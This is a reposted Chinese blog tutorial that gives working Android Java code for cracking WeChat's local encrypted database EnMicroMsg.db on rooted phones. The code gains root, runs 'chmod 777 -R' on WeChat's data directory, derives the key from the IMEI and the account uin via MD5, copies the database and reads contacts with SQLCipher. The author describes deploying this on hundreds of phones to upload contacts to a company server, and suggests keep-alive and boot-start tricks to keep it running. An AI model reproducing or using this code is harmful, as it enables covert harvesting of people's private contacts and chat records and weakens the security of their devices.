1. 程式人生 > >【轉】Android動態破解微信本地資料庫(EnMicroMsg.db)

【轉】Android動態破解微信本地資料庫(EnMicroMsg.db)

最近在公司接了一個任務,需要在幾百臺手機上安裝一個app,目的是獲取微信裡面的通訊錄,並且定時的把他傳送到我們的伺服器上。當時依次嘗試的如下幾個方案:

  1.通過群控,將好友截圖傳送到服務端(python),利用python的影象識別庫來獲取好友的資訊。

  2.開發一個app,使用android自帶AccessibilityService,模擬使用者操作微信,然後獲取螢幕中的內容。

  3.破解微信的本地資料庫。

 

非常尷尬的是前兩個都失敗了,否則也不會想到第三個方案了。第一個失敗的原因是,利用影象識別,有些很相近的文字(i,1,l,h,n)識別成功率不高;第二個失敗的原因是在於模擬使用者操作的階段無法達到預計的效果,也就導致了獲取不到想要的螢幕內容。(前兩個失敗有可能是因為個人技術問題,無法實現)

但是重點來了:第三個我們成功了

 

我們是怎麼知道微信把使用者以及聊天的資訊存到了本地資料庫呢?

當我們開啟手機的飛航模式的時候,開啟微信,依舊可以看到裡面的通訊錄以及聊天記錄。那麼就說明微信肯定是將你能看到的所有資訊都儲存在了本地資料庫裡面,只是他將本地資料庫加了密。既然存在了本地,我們就有辦法把它取出來。

 

本地資料庫的密碼是什麼呢?

請具體參考大神的文章,他通過反編譯獲取到微信的加密規則,特別厲害!

上述文章講解主要是靜態破解資料庫,我們就基於他的靜態破解方法,介紹下如何在程式碼中動態破解。不想看的同學們,我就直接介紹下微信本地資料庫的加密規則了:

  1.獲取手機IMEI碼

  2.獲取當前登入微信賬號的uin(儲存在sp裡面)

  3.拼接IMEI和uin

  4.將拼接完的字串進行md5加密

  5.擷取加完密的字串的前七位(字母必須為小寫)

 那七位字串就是資料庫的密碼了。因為微信已經有數億的使用者了,並且本地資料庫又是存在使用者的手機上,所以微信肯定不會輕易的對資料庫進行大規模修改,所以密碼的加密規則也是不可能變的,大家就放心用吧!

 

適用範圍:已經獲取root許可權的手機
如果你的手機沒有root,那下面的程式碼對你手機都是無效的哦~

下面正式進入主題
一、大致瀏覽下微信的目錄
1.連線上你的手機,開啟開發者模式
2.開啟Android Device Monitor


3.進入到File Explorer子頁,檢視微信目錄 /data/data/com.tencent.mm


如果你發現資料夾打不開,或者發現點選/data目錄裡面沒有內容,可能是因為沒有許可權,請在Command中依次執行如下命令:


大概的介紹下微信的目錄結構,本地資料庫都在MicroMsg資料夾裡面,SharedPerferences檔案都在shared_prefs資料夾裡面。之前說的獲取資料庫密碼時候需要的uin就是存在微信的SharedPreferences裡面,對應的是 /data/data/com.tencent.mm/shared_prefs資料夾。


微信的本地資料庫存放在 /data/data/com.tencent.mm/MicroMsg裡面的一長串字串的目錄裡面

 

注意:如果你登入過多個賬號就會出現多個此類的資料夾,所以我們在之後的程式碼中會通過迴圈來查詢當前登入使用者對應的資料庫檔案

二、授予當前app管理員許可權以及修改微信目錄的讀寫許可權
最好在app一啟動就執行下面的程式碼,並且在每次獲取資料庫內容的時候也要再次執行,避免出現無許可權讀取微信相關檔案的異常
public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";
execRootCmd("chmod 777 -R " + WX_ROOT_PATH);
/**
* 執行linux指令
*
* @param paramString
*/
public void execRootCmd(String paramString) {
try {
Process localProcess = Runtime.getRuntime().exec("su");
Object localObject = localProcess.getOutputStream();
DataOutputStream localDataOutputStream = new DataOutputStream((OutputStream) localObject);
String str = String.valueOf(paramString);
localObject = str + "\n";
localDataOutputStream.writeBytes((String) localObject);
localDataOutputStream.flush();
localDataOutputStream.writeBytes("exit\n");
localDataOutputStream.flush();
localProcess.waitFor();
localObject = localProcess.exitValue();
} catch (Exception localException) {
localException.printStackTrace();
}
}
每次準備讀取資料庫之前都需要執行一次該命令。Process localProcess = Runtime.getRuntime().exec("su")先通過這個命令,使得當前app獲取到root許可權,然後再通過chmod命令來修改微信的data目錄的讀寫許可權,因為我們需要操作讀取微信的資料庫檔案以及sp檔案,所以必須要有微信檔案的操作許可權。


三、獲取手機IMEI
IMEI的獲取方法就很簡單了
/**
* 獲取手機的imei碼
*
* @return
*/
private void initPhoneIMEI() {
TelephonyManager tm = (TelephonyManager) MyApplication.getContextObject().getSystemService(TELEPHONY_SERVICE);
mPhoneIMEI = tm.getDeviceId();
}
記得新增許可權
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>

四、獲取微信的uin
微信的uin是儲存在SharedPerferences裡面,所以我們要在微信目錄的shared_prefs資料夾裡面查詢其存放的xml檔案,然後去解析它。
private static final String WX_SP_UIN_PATH = WX_ROOT_PATH + "shared_prefs/auth_info_key_prefs.xml";
/**
* 獲取微信的uid
* 微信的uid儲存在SharedPreferences裡面
* 儲存位置\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml
*/
private void initCurrWxUin() {
mCurrWxUin = null;
File file = new File(WX_SP_UIN_PATH);
try {
FileInputStream in = new FileInputStream(file);
SAXReader saxReader = new SAXReader();
Document document = saxReader.read(in);
Element root = document.getRootElement();
List<Element> elements = root.elements();
for (Element element : elements) {
if ("_auth_uin".equals(element.attributeValue("name"))) {
mCurrWxUin = element.attributeValue("value");
}
}
} catch (Exception e) {
e.printStackTrace();
LogUtil.log("獲取微信uid失敗,請檢查auth_info_key_prefs檔案許可權");
}
}
微信的uin是存放在sharedPerferences資料夾裡面的,具體路徑為\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml。讓我們來開啟這個xml檔案看看裡面到底是什麼樣子的,還有我們需要的uin到底是存放在什麼地方:

 

我們解析xml用的dom4j這個庫裡面的SAXReader,如果沒有這個庫的同學可以去這裡下載

五、生成資料庫密碼
/**
* 根據imei和uin生成的md5碼,獲取資料庫的密碼(去前七位的小寫字母)
*
* @param imei
* @param uin
* @return
*/
private void initDbPassword(String imei, String uin) {
if (TextUtils.isEmpty(imei) || TextUtils.isEmpty(uin)) {
LogUtil.log("初始化資料庫密碼失敗:imei或uid為空");
return;
}
String md5 = md5(imei + uin);
String password = md5.substring(0, 7).toLowerCase();
mDbPassword = password;
}
/**
* md5加密
*
* @param content
* @return
*/
private String md5(String content) {
MessageDigest md5 = null;
try {
md5 = MessageDigest.getInstance("MD5");
md5.update(content.getBytes("UTF-8"));
byte[] encryption = md5.digest();//加密
StringBuffer sb = new StringBuffer();
for (int i = 0; i < encryption.length; i++) {
if (Integer.toHexString(0xff & encryption[i]).length() == 1) {
sb.append("0").append(Integer.toHexString(0xff & encryption[i]));
} else {
sb.append(Integer.toHexString(0xff & encryption[i]));
}
}
return sb.toString();
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
這一步比較容易,通過拼接字串以及md5加密後就可以獲取到資料庫的密碼

六、查詢微信目錄下的資料庫檔案
因為我們需要通過密碼來連線微信的EnMicroMsg.db檔案,所以我們需要先通過匹配演算法把我們需要的db檔案給查找出來。如果該手機的使用者切換過登入賬號,那麼每個賬號都會生成一個EnMicroMsg.db,所以我們要把所有的db檔案都給匹配出來。
public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";
public static final String WX_ROOT_PATH = "/data/data/com.tencent.mm/";
private static final String WX_DB_DIR_PATH = WX_ROOT_PATH + "MicroMsg";
private List<File> mWxDbPathList = new ArrayList<>();
private static final String WX_DB_FILE_NAME = "EnMicroMsg.db";
File wxDataDir = new File(WX_DB_DIR_PATH);
mWxDbPathList.clear();
searchFile(wxDataDir, WX_DB_FILE_NAME);
/**
* 遞迴查詢微信本地資料庫檔案
*
* @param file 目錄
* @param fileName 需要查詢的檔名稱
*/
private void searchFile(File file, String fileName) {
if (file.isDirectory()) {
File[] files = file.listFiles();
if (files != null) {
for (File childFile : files) {
searchFile(childFile, fileName);
}
}
} else {
if (fileName.equals(file.getName())) {
mWxDbPathList.add(file);
}
}
}
通過searchFile我們會對MicroMsg這個資料夾進行遍歷查詢,將所有的EnMicroMsg.db檔案路勁儲存在mWxDbPathList中,以便於我們後期連線的時候使用
七、連線資料庫
終於到了最關鍵的一步了。這時候需要注意兩點:
  1.我們千萬不可以直接通過net.sqlcipher.database.SQLiteDatabase這個類來連線我們上一步裡面查詢到的微信目錄下的EnMicroMsg.db檔案,可能是因為一個數據庫檔案不能被多次連線的情況,只要我們一成功連線上那個db檔案,微信的客戶端就會自動退出登入,並且會出現異常。所有我現在的做法是把這個db檔案拷貝到我們自己的app目錄下,再進行連線。
  2.當我們有多賬號登入過,就會存在多個EnMicroMsg.db檔案,但是我們的資料庫密碼只有一個,也就是說通過這個密碼能連線成功的資料庫就表明是當前微信登入使用者的資料庫。因為sqlcipher這個庫中沒有提供校驗密碼的方法,所以我們只能每次通過強行連線來判斷密碼是否正確,如果正確的話程式碼就會正常執行,錯誤的話就會丟擲異常,因此我們要在這個方法外面加上try-catch來處理密碼錯誤的異常。(如果有更好的方法,請留言,謝謝!)
2017-09-08更新:感謝暖氣片兒L在評論中提供的方法。之前如果使用者登陸過多個微信賬號,那麼每一個微信賬號都會在各自的資料夾下生成一個EnMicroMsg.db檔案,用於儲存當前賬號的聯絡人和聊天記錄等資訊。但是我們解析出來的密碼只有一個(最後登陸的微信賬號的密碼),之前是通過撞庫(所有db檔案都嘗試連線一次,直到成功為止),現在通過一個方法可以準確的定位到uin對應的EnMicroMsg.db檔案,MD5("mm"+auth_info_key_prefs.xml中解析出微信的uin碼) 生成的md5就是EnMicroMsg.db所處的父級資料夾的名稱。

private String mCurrApkPath = "/data/data/" + MyApplication.getContextObject().getPackageName() + "/";
private static final String COPY_WX_DATA_DB = "wx_data.db";
//處理多賬號登陸情況
for (int i = 0; i < mWxDbPathList.size(); i++) {
File file = mWxDbPathList.get(i);
String copyFilePath = mCurrApkPath + COPY_WX_DATA_DB;
//將微信資料庫拷貝出來,因為直接連線微信的db,會導致微信崩潰
copyFile(file.getAbsolutePath(), copyFilePath);
File copyWxDataDb = new File(copyFilePath);
openWxDb(copyWxDataDb);
}
/**
* 複製單個檔案
*
* @param oldPath String 原檔案路徑 如:c:/fqf.txt
* @param newPath String 複製後路徑 如:f:/fqf.txt
* @return boolean
*/
public void copyFile(String oldPath, String newPath) {
try {
int byteRead = 0;
File oldFile = new File(oldPath);
if (oldFile.exists()) { //檔案存在時
InputStream inStream = new FileInputStream(oldPath); //讀入原檔案
FileOutputStream fs = new FileOutputStream(newPath);
byte[] buffer = new byte[1444];
while ((byteRead = inStream.read(buffer)) != -1) {
fs.write(buffer, 0, byteRead);
}
inStream.close();
}
} catch (Exception e) {
System.out.println("複製單個檔案操作出錯");
e.printStackTrace();

}
}
/**
* 連線資料庫
*
* @param dbFile
*/
private void openWxDb(File dbFile) {
Context context = MyApplication.getContextObject();
SQLiteDatabase.loadLibs(context);
SQLiteDatabaseHook hook = new SQLiteDatabaseHook() {
public void preKey(SQLiteDatabase database) {
}

public void postKey(SQLiteDatabase database) {
database.rawExecSQL("PRAGMA cipher_migrate;"); //相容2.0的資料庫
}
};

try {
//開啟資料庫連線
SQLiteDatabase db = SQLiteDatabase.openOrCreateDatabase(dbFile, mDbPassword, null, hook);
//查詢所有聯絡人(verifyFlag!=0:公眾號等型別,群裡面非好友的型別為4,未知型別2)
Cursor c1 = db.rawQuery("select * from rcontact where verifyFlag = 0 and type != 4 and type != 2 and nickname != '' limit 20, 9999", null);
while (c1.moveToNext()) {
String userName = c1.getString(c1.getColumnIndex("username"));
String alias = c1.getString(c1.getColumnIndex("alias"));
String nickName = c1.getString(c1.getColumnIndex("nickname"));
}
c1.close();
db.close();
} catch (Exception e) {
LogUtil.log("讀取資料庫資訊失敗" + e.toString());
// e.printStackTrace();
}
}
通過上述的程式碼,先進行db檔案的拷貝,然後再通過SQLCipher這個庫來連線加密的資料庫,之後我們就可以進行我們需要的sql查詢了。上述程式碼中的sql查詢加了一些條件,是因為做了一些業務邏輯的判斷,去除了公眾號、微信群這些聯絡人,正常測試可以直接使用“select * from rcontact”就可以了。
記得在gradle中引用庫:
compile 'net.zetetic:android-database-sqlcipher:[email protected]'
關於SQLCipher的詳細使用方法可以參考其官網https://www.zetetic.net/sqlcipher/sqlcipher-for-android/

八、sqlcipher圖形工具的使用
通過這個工具,我們可以快速的檢視微信的db檔案裡面有哪些表,每個表裡面有哪些欄位,然後我們就可以在程式碼中寫出相應的sql語句來查詢我們需要的資料了
sqlcipher的下載傳送門來咯~http://download.csdn.net/detail/njweiyukun/9729084
使用方法也很簡單
  1.首先我們要通過Android Device Monitor裡面的File Explorer將微信EnMicroMsg.db檔案拷貝出來

 


  2.將拷貝出來的db檔案用sqlcipher.exe開啟並輸入密碼


Database Structure裡面都是表結構,Browser Data裡面則是表裡面的資料了。
常用庫介紹:【rcontact】聯絡人表,【message】聊天訊息表

九、總結
總結一下步驟:
  1.讓當前app獲取su許可權,以及修改微信目錄的讀寫許可權。
  2.獲取手機的IMEI碼。
  3.從\data\data\com.tencent.mm\shared_prefs\auth_info_key_prefs.xml中解析出微信的uin碼。
  4.獲取資料庫密碼:拼接IMEI和uin,通過md5加密後,取前7位小寫的字串。
  5.從/data/data/com.tencent.mm/MicroMsg中遍歷查詢所有的微信資料檔案EnMicroMsg.db。
  6.將EmMicroMsg.db檔案拷貝到當前app目錄,然後通過SQLCipher連線資料庫。

通過上述的常規程式碼我們已經可以在程式碼裡面獲取微信資料庫的所有內容了。我們從微信的sp和db檔案中也可以獲取到微信當前登入的使用者資訊,並且我們可以啟一個service,利用一些保活措施,讓我們的程式不被輕易殺死,這樣可以保證不停的將聯絡人資料庫傳送到伺服器。也可以做一個開機啟動等等等,這些程式碼有需要的可以自行新增,留言也可以。

如果有哪裡寫錯和疏忽的地方,請及時提出
---------------------
from:https://blog.csdn.net/njweiyukun/article/details/54024442